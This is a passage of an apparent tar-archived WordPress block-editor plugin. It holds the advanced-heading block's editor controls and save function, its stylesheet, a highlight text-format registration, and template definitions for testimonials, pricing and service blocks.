								icon: getTagIcon( 'h6' ),
								onClick: () => changeTag( 'h6' )
							},
							{
								title: __( 'Division' ),
								icon: getTagIcon( 'div' ),
								onClick: () => changeTag( 'div' )
							},
							{
								title: __( 'Paragraph' ),
								icon: getTagIcon( 'p' ),
								onClick: () => changeTag( 'p' )
							},
							{
								title: __( 'Span Tag' ),
								icon: getTagIcon( 'span' ),
								onClick: () => changeTag( 'span' )
							}
						] }
					/>

					<Toolbar
						className="wp-themesiel-blocks-advanced-heading-components-toolbar"
					>
						<Dropdown
							contentClassName="wp-themesiel-blocks-advanced-heading-popover-content"
							position="bottom center"
							renderToggle={ ({ isOpen, onToggle }) => (
								<IconButton
									className="components-dropdown-menu__toggle"
									icon={ 'editor-textcolor' }
									onClick={ onToggle }
									aria-haspopup="true"
									aria-expanded={ isOpen }
									label={ __( 'Typography Settings' ) }
									tooltip={ __( 'Typography Settings' ) }
								>
									<span className="components-dropdown-menu__indicator" />
								</IconButton>
							) }
							renderContent={ () => (
								<Fragment>
									<GoogleFontsControl
										label={ __( 'Font Family' ) }
										value={ fontFamily }
										onChangeFontFamily={ changeFontFamily }
										isSelect={ true }
										valueVariant={ fontVariant }
										onChangeFontVariant={ changeFontVariant }
										valueStyle={ fontStyle }
										onChangeFontStyle={ changeFontStyle }
										valueTransform={ textTransform }
										onChangeTextTransform={ changeTextTransform }
									/>

									<RangeControl
										label={ __( 'Line Height' ) }
										value={ lineHeight }
										onChange={ changeLineHeight }
										min={ 0 }
										max={ 200 }
									/>

									<RangeControl
										label={ __( 'Letter Spacing' ) }
										value={ letterSpacing }
										onChange={ changeLetterSpacing }
										min={ -50 }
										max={ 100 }
									/>
								</Fragment>
							) }
						/>
					</Toolbar>
				</BlockControls>

				<InspectorControls>
					<PanelBody className="wp-block-themeisle-blocks-advanced-heading-header-panel">
						<Button
							className={ classnames(
								'header-tab',
								{ 'is-selected': 'style' === tab }
							) }
							onClick={ () => setState({ tab: 'style' }) }
						>
							<span
							>
								<Dashicon icon="admin-customizer"/>
								{ __( 'Style' ) }
							</span>
						</Button>

						<Button
							className={ classnames(
								'header-tab',
								{ 'is-selected': 'advanced' === tab }
							) }
							onClick={ () => setState({ tab: 'advanced' }) }
						>
							<span
							>
								<Dashicon icon="admin-generic"/>
								{ __( 'Advanced' ) }
							</span>
						</Button>
					</PanelBody>

					{ 'style' === tab && (

						<Fragment>
							<PanelBody
								title={ __( 'General Settings' ) }
							>
								<Fragment>
									<p>{ __( 'Heading Color' ) }</p>

									<ColorPalette
										label={ 'Heading Color' }
										value={ headingColor }
										onChange={ changeHeadingColor }
									/>
								</Fragment>

								<ResponsiveControl
									label={ 'Font Size' }
									view={ fontSizeViewType }
									changeViewType={ changeFontSizeViewType }
								>
									<RangeControl
										value={ getFontSize || '' }
										onChange={ changeFontSize }
										min={ 1 }
										max={ 500 }
									/>
								</ResponsiveControl>

								<ResponsiveControl
									label={ 'Alignment' }
									view={ alignmentViewType }
									changeViewType={ changeAlignmentViewType }
								>
									<AlignmentToolbar
										value={ getAlignment }
										onChange={ changeAlignment }
									/>
								</ResponsiveControl>
							</PanelBody>

							<PanelBody
								title={ __( 'Typography Settings' ) }
								initialOpen={ false }
							>
								<GoogleFontsControl
									label={ __( 'Font Family' ) }
									value={ fontFamily }
									onChangeFontFamily={ changeFontFamily }
									valueVariant={ fontVariant }
									onChangeFontVariant={ changeFontVariant }
									valueStyle={ fontStyle }
									onChangeFontStyle={ changeFontStyle }
									valueTransform={ textTransform }
									onChangeTextTransform={ changeTextTransform }
								/>

								<RangeControl
									label={ __( 'Line Height' ) }
									value={ lineHeight }
									onChange={ changeLineHeight }
									min={ 0 }
									max={ 200 }
								/>

								<RangeControl
									label={ __( 'Letter Spacing' ) }
									value={ letterSpacing }
									onChange={ changeLetterSpacing }
									min={ -50 }
									max={ 100 }
								/>

								<ToggleControl
									label={ 'Shadow Properties' }
									checked={ textShadow }
									onChange={ changeTextShadow }
								/>

								{ textShadow && (
									<Fragment>

										<Fragment>
											<p>{ __( 'Color' ) }</p>

											<ColorPalette
												label={ __( 'Color' ) }
												value={ textShadowColor }
												onChange={ changeTextShadowColor }
											/>
										</Fragment>

										<ControlPanelControl
											label={ 'Shadow Properties' }
										>
											<RangeControl
												label={ __( 'Opacity' ) }
												value={ textShadowColorOpacity }
												onChange={ changeTextShadowColorOpacity }
												min={ 0 }
												max={ 100 }
											/>

											<RangeControl
												label={ __( 'Blur' ) }
												value={ textShadowBlur }
												onChange={ changeTextShadowBlur }
												min={ 0 }
												max={ 100 }
											/>

											<RangeControl
												label={ __( 'Horizontal' ) }
												value={ textShadowHorizontal }
												onChange={ changeTextShadowHorizontal }
												min={ -100 }
												max={ 100 }
											/>

											<RangeControl
												label={ __( 'Vertical' ) }
												value={ textShadowVertical }
												onChange={ changeTextShadowVertical }
												min={ -100 }
												max={ 100 }
											/>
										</ControlPanelControl>

									</Fragment>
								) }
							</PanelBody>
						</Fragment>

					) || 'advanced' === tab && (

						<Fragment>
							<PanelBody
								title={ __( 'Highlight Color' ) }
							>
								<Fragment>
									<p>{ __( 'Highlight Color' ) }</p>

									<ColorPalette
										label={ 'Highlight Color' }
										value={ highlightColor }
										onChange={ changeHighlightColor }
									/>
								</Fragment>

								<Fragment>
									<p>{ __( 'Highlight Background' ) }</p>

									<ColorPalette
										label={ 'Highlight Background' }
										value={ highlightBackground }
										onChange={ changeHighlightBackground }
									/>
								</Fragment>
							</PanelBody>

							<PanelBody
								title={ __( 'Padding & Margin' ) }
								initialOpen={ false }
							>
								<ResponsiveControl
									label={ 'Padding' }
									view={ paddingViewType }
									changeViewType={ changePaddingViewType }
								>
									<SizingControl
										type={ getPaddingType }
										min={ 0 }
										max={ 500 }
										changeType={ changePaddingType }
										onChange={ changePadding }
										options={ [
											{
												label: __( 'Top' ),
												type: 'top',
												value: getPadding( 'top' )
											},
											{
												label: __( 'Right' ),
												type: 'right',
												value: getPadding( 'right' )
											},
											{
												label: __( 'Bottom' ),
												type: 'bottom',
												value: getPadding( 'bottom' )
											},
											{
												label: __( 'Left' ),
												type: 'left',
												value: getPadding( 'left' )
											}
										] }
									/>
								</ResponsiveControl>

								<ResponsiveControl
									label={ 'Margin' }
									view={ marginViewType }
									changeViewType={ changeMarginViewType }
								>
									<SizingControl
										type={ getMarginType }
										min={ -500 }
										max={ 500 }
										changeType={ changeMarginType }
										onChange={ changeMargin }
										options={ [
											{
												label: __( 'Top' ),
												type: 'top',
												value: getMargin( 'top' )
											},
											{
												label: __( 'Right' ),
												disabled: true
											},
											{
												label: __( 'Bottom' ),
												type: 'bottom',
												value: getMargin( 'bottom' )
											},
											{
												label: __( 'Left' ),
												disabled: true
											}
										] }
									/>
								</ResponsiveControl>
							</PanelBody>
						</Fragment>
					) }
				</InspectorControls>

				<RichText
					identifier="content"
					className={ classnames(
						id,
						props.className
					) }
					value={ content }
					placeholder={ __( 'Write heading…' ) }
					tagName={ tag }
					formattingControls={ [ 'bold', 'italic', 'link', 'strikethrough', 'mark' ] }
					onMerge={ props.mergeBlocks }
					unstableOnSplit={
						props.insertBlocksAfter ?
							( before, after, ...blocks ) => {
								props.setAttributes({ content: before });
								props.insertBlocksAfter([
									...blocks,
									createBlock( 'core/paragraph', { content: after })
								]);
							} :
							undefined
					}
					onRemove={ () => props.onReplace([]) }
					style={ style }
					onChange={ changeContent }
				/>
			</Fragment>
		);
	}),

	save: props => {

		const {
			id,
			content,
			tag,
			headingColor,
			fontFamily,
			fontVariant,
			fontStyle,
			textTransform,
			lineHeight,
			letterSpacing,
			textShadow,
			textShadowColor,
			textShadowColorOpacity,
			textShadowBlur,
			textShadowHorizontal,
			textShadowVertical
		} = props.attributes;

		let textShadowStyle;

		if ( textShadow ) {
			textShadowStyle = {
				textShadow: `${ textShadowHorizontal }px ${ textShadowVertical }px ${ textShadowBlur }px ${  hexToRgba( ( textShadowColor ? textShadowColor : '#000000' ), textShadowColorOpacity ) }`
			};
		}

		const style = {
			color: headingColor,
			fontFamily: fontFamily,
			fontWeight: 'regular' === fontVariant ? 'normal' : fontVariant,
			fontStyle: fontStyle,
			textTransform: textTransform,
			lineHeight: lineHeight && `${ lineHeight }px`,
			letterSpacing: letterSpacing && `${ letterSpacing }px`,
			...textShadowStyle
		};

		return (
			<RichText.Content
				tagName={ tag }
				value={ content }
				id={ id }
				className={ classnames(
					id,
					props.className
				) }
				style={ style }
			/>
		);
	}
});
advanced-heading/editor.scss000066600000002526151151722020012076 0ustar00span {
	&.wp-block-themeisle-blocks-advanced-heading {
		display: block;
	}
}

.wp-block-themeisle-blocks-advanced-heading-header-panel {
	&.is-opened {
		padding: 0;
	}

	.header-tab {
		display: inline-block;
		width: calc( 100% / 2 );
		padding: 10px 20px;
		text-align: center;
		cursor: pointer;

		&.is-selected {
			border-bottom: 2px solid #0085ba;
			background: #f3f4f5;
		}

		&:hover {
			background: #f3f4f5;
		}

		span {
			display: inline-block;
			font-size: 12px;

			svg {
				display: block;
				margin: 0 auto;
			}
		}
	}
}

.edit-post-settings-sidebar__panel-block .components-panel__body {
	.components-color-palette {
		display: inline-block;
	}
}

.wp-themesiel-blocks-advanced-heading-components-toolbar {
	.components-icon-button:not(:disabled):not([aria-disabled="true"]):not(.is-default) {
		margin: 2px;
		padding: 4px;
		border: 1px solid transparent;

		&:hover {
			box-shadow: inset 0 0 0 1px #555d66,inset 0 0 0 2px #fff;
		}
	}

	.components-dropdown-menu__indicator::after {
		content: "";
		pointer-events: none;
		display: block;
		width: 0;
		height: 0;
		border-left: 3px solid transparent;
		border-right: 3px solid transparent;
		border-top: 5px solid currentColor;
		margin-left: 4px;
		margin-right: 2px;
	}
}

.wp-themesiel-blocks-advanced-heading-popover-content {
	.components-popover__content {
		padding: 20px;
	}
}advanced-heading/registerHeadingHighlight.js000066600000001531151151722020015200 0ustar00/**
 * WordPress dependencies.
 */
const { __ } = wp.i18n;

const {
	registerFormatType,
	toggleFormat
} = wp.richText;

const {
	RichTextShortcut,
	RichTextToolbarButton
} = wp.editor;

const { Fragment } = wp.element;

const name = 'themeisle-blocks/heading-highlight';

registerFormatType( name, {
	name,
	title: __( 'Highlight' ),
	tagName: 'mark',
	className: null,

	edit: ({ isActive, value, onChange }) => {
		const onToggle = () => onChange( toggleFormat( value, { type: name }) );

		return (
			<Fragment>
				<RichTextShortcut
					type="primary"
					character="m"
					onUse={ onToggle }
				/>

				<RichTextToolbarButton
					name="mark"
					icon="admin-customizer"
					title={ __( 'Highlight' ) }
					onClick={ onToggle }
					isActive={ isActive }
					shortcutType="access"
					shortcutCharacter="m"
				/>
			</Fragment>
		);
	}
});
structural/index.js000066600000000171151151722020010420 0ustar00/**
 * Structural Blocks
 */
import './pricing/index.js';
import './service/index.js';
import './testimonials/index.js';
structural/testimonials/index.js000066600000003022151151722020013131 0ustar00/**
 * WordPress dependencies
 */

const { __ } = wp.i18n;

const { registerBlockType } = wp.blocks;

const { InnerBlocks } = wp.editor;

/**
 * Internal dependencies
 */
import { testimonialsIcon } from '../../../helpers/icons.js';

registerBlockType( 'themeisle-blocks/testimonials', {
	title: __( 'Testimonials' ),
	description: __( 'Display kudos from customers and clients and display them on your website.' ),
	icon: testimonialsIcon,
	category: 'themeisle-blocks',
	keywords: [
		'testimonials',
		'quotes',
		'business'
	],

	edit: props => {
		const TEMPLATE =  [
			[ 'core/image', {
				align: 'center'
			} ],
			[ 'themeisle-blocks/advanced-heading', {
				content: __( 'John Doe' ),
				align: 'center',
				fontSize: 24,
				tag: 'h3',
				marginTop: 25,
				marginBottom: 10,
				marginTopTablet: 25,
				marginTopMobile: 25
			} ],
			[ 'themeisle-blocks/advanced-heading', {
				content: __( 'Jedi Master' ),
				align: 'center',
				fontSize: 14,
				tag: 'h6',
				marginTop: 10,
				marginBottom: 10
			} ],
			[ 'themeisle-blocks/advanced-heading', {
				content: __( '"What is the point of being alive if you don’t at least try to do something remarkable?"' ),
				align: 'center',
				color: '#999999',
				tag: 'p',
				fontSize: 14,
				marginTop: 10,
				marginBottom: 20
			} ]
		];

		return [
			<div className={ props.className } >
				<InnerBlocks
					template={ TEMPLATE }
				/>
			</div>
		];
	},

	save: props => {
		return (
			<div className={ props.className } >
				<InnerBlocks.Content/>
			</div>
		);
	}
});
structural/pricing/index.js000066600000005017151151722020012057 0ustar00/**
 * WordPress dependencies
 */

const { __ } = wp.i18n;

const { registerBlockType } = wp.blocks;

const { InnerBlocks } = wp.editor;

/**
 * Internal dependencies
 */
import { pricingIcon } from '../../../helpers/icons.js';

registerBlockType( 'themeisle-blocks/pricing', {
	title: __( 'Pricing' ),
	description: __( 'Pricing tables are a critical part in showcasing your services, prices and overall offerings.' ),
	icon: pricingIcon,
	category: 'themeisle-blocks',
	keywords: [
		'pricing',
		'table',
		'money'
	],

	edit: props => {
		const TEMPLATE =  [
			[ 'themeisle-blocks/advanced-heading', {
				content: __( 'Basic' ),
				align: 'center',
				tag: 'h5'
			} ],
			[ 'themeisle-blocks/advanced-heading', {
				content: __( '$9.99' ),
				align: 'center',
				tag: 'h3',
				fontSize: 36,
				fontFamily: 'Roboto Slab',
				fontVariant: 'normal'
			} ],
			[ 'themeisle-blocks/advanced-heading', {
				content: __( 'Per Month' ),
				align: 'center',
				tag: 'p',
				fontSize: 12,
				marginBottom: 0
			} ],
			[ 'core/separator', {} ],
			[ 'themeisle-blocks/advanced-heading', {
				content: __( 'First Feature' ),
				align: 'center',
				tag: 'p',
				fontSize: 12,
				marginBottom: 0
			} ],
			[ 'core/separator', {} ],
			[ 'themeisle-blocks/advanced-heading', {
				content: __( 'Second Feature' ),
				align: 'center',
				tag: 'p',
				fontSize: 12,
				marginBottom: 0
			} ],
			[ 'core/separator', {} ],
			[ 'themeisle-blocks/advanced-heading', {
				content: __( 'Last Feature' ),
				align: 'center',
				tag: 'p',
				fontSize: 12,
				marginBottom: 0
			} ],
			[ 'core/separator', {} ],
			[ 'themeisle-blocks/button-group', {
				align: 'center',
				buttons: 1,
				data: [ {
					text: __( 'Buy Now' ),
					newTab: false,
					color: '#ffffff',
					background: '#32373c',
					hoverColor: '#ffffff',
					hoverBackground: '#444a50',
					borderSize: 0,
					borderRadius: 3,
					boxShadow: false,
					boxShadowColorOpacity: 50,
					boxShadowBlur: 5,
					boxShadowSpread: 1,
					boxShadowHorizontal: 0,
					boxShadowVertical: 0,
					hoverBoxShadowColorOpacity: 50,
					hoverBoxShadowBlur: 5,
					hoverBoxShadowSpread: 1,
					hoverBoxShadowHorizontal: 0,
					hoverBoxShadowVertical: 0,
					iconType: 'none',
					paddingTopBottom: 12,
					paddingLeftRight: 24
				} ]
			} ]
		];

		return [
			<div className={ props.className } >
				<InnerBlocks
					template={ TEMPLATE }
				/>
			</div>
		];
	},

	save: props => {
		return (
			<div className={ props.className } >
				<InnerBlocks.Content/>
			</div>
		);
	}
});
structural/service/index.js000066600000003763151151722020012072 0ustar00/**
 * WordPress dependencies
 */

const { __ } = wp.i18n;

const { registerBlockType } = wp.blocks;

const { InnerBlocks } = wp.editor;

/**
 * Internal dependencies
 */
import { servicesIcon } from '../../../helpers/icons.js';

registerBlockType( 'themeisle-blocks/service', {
	title: __( 'Service' ),
	description: __( 'Use this Service block to showcase services your website offers.' ),
	icon: servicesIcon,
	category: 'themeisle-blocks',
	keywords: [
		'services',
		'icon',
		'features'
	],

	edit: props => {
		const TEMPLATE =  [
			[ 'themeisle-blocks/font-awesome-icons', {
				fontSize: 62,
				prefix: 'fab',
				icon: 'angellist'
			} ],
			[ 'themeisle-blocks/advanced-heading', {
				content: __( 'Basic' ),
				align: 'center',
				tag: 'h4',
				marginBottom: 20
			} ],
			[ 'themeisle-blocks/advanced-heading', {
				content: __( 'Lorem ipsum dolor sit amet elit do, consectetur adipiscing, sed eiusmod tempor incididunt ut labore et dolore magna aliqua.' ),
				align: 'center',
				color: '#999999',
				tag: 'p',
				fontSize: 14,
				marginBottom: 20
			} ],
			[ 'themeisle-blocks/button-group', {
				align: 'center',
				buttons: 1,
				data: [ {
					text: __( 'Know More' ),
					newTab: false,
					color: '#ffffff',
					background: '#32373c',
					hoverColor: '#ffffff',
					hoverBackground: '#444a50',
					borderSize: 0,
					borderRadius: 3,
					boxShadow: false,
					boxShadowColorOpacity: 50,
					boxShadowBlur: 5,
					boxShadowSpread: 1,
					boxShadowHorizontal: 0,
					boxShadowVertical: 0,
					hoverBoxShadowColorOpacity: 50,
					hoverBoxShadowBlur: 5,
					hoverBoxShadowSpread: 1,
					hoverBoxShadowHorizontal: 0,
					hoverBoxShadowVertical: 0,
					iconType: 'none',
					paddingTopBottom: 12,
					paddingLeftRight: 24
				} ]
			} ]
		];

		return [
			<div className={ props.className } >
				<InnerBlocks
					template={ TEMPLATE }
				/>
			</div>
		];
	},

	save: props => {
		return (
			<div className={ props.className } >
				<InnerBlocks.Content/>
			</div>
		);
	}
});